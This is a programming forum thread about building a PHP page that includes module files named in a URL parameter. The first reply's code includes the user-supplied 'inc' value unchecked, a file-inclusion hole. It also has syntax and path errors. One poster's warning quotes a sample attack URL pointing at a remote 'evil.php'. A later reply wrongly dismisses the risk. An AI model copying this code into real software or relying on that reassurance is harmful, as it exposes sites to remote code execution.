[PHP] inlcuder

TheKiller_Dog

yo,

im looking for a code to include php pages in another php page, not the standard include("page.php"); code but its a little more advanced.

I have a page called modules.php and in that page i need a include code. so if i press a link of a button that links to modules.php?inc=forums/topic the code in modules.php includes the page in the directory modules/forums/topic.php and when i press on a button with the link modules.php?inc=forums/reply the code in modules.php includes the page in the directory modules/forums/reply.php etc. BUT if the link contains a variable as for example $id=3 that it still goes to the same page but takes the variable with him.

i searched a long time for it but cant find anything that looks like what i need, maybe someone can help?

thank you

$input_id = 0;//set the id to 0 in case it wasn't set
$input_id = @$_GET['id'];//if it was set, change it to the value
/*$input_id can be called in the included file, but will be 0 if it hasnt been set otherwise*/
if (isset($_GET['inc']) {//if inc is specified
    $inc = $_GET['inc'];//put in a variable
    $filename = "modules".$inc . ".php";//create filename
    include($filename);//include the file
}

Is this what you meant?

ok... $input_id = @$_GET['id']; this has to get the id variable out of the link and set it up for the page im linking to right?

Yes...

That is really insecure, if you put that on your site right now I could include my own PHP file and completely ruin your server (module.php?inc=http://mysite.com/evil.php). These kind of things are dangerous, and you need to check to make sure the files you are including are safe.

This reads the current directory and includes any php files that have filenames beginning with inc_

if($loadable=@opendir(".")){
	while($item=readdir($loadable)){
		$ext=strtolower(substr($item,-3,3));
		$pre=strtolower(substr($item,0,4));
		if($ext=="php"&&$pre=="inc_") include($item);
	}
	@closedir($loadable);
}

not the case - you can, I believe, include a file on a network, but it will be treated as text and not php code (afterall, how would it "know" the source code on the network file?). Even beyond that, the coding itself will not allow the file to be understood as inc is a "part" of the included file and it would just fail.

Also, about a year ago I got away from using include() entirely and went with require() as the page fails if the include can't be found. You couldn't get me to use include again except in very special cases.
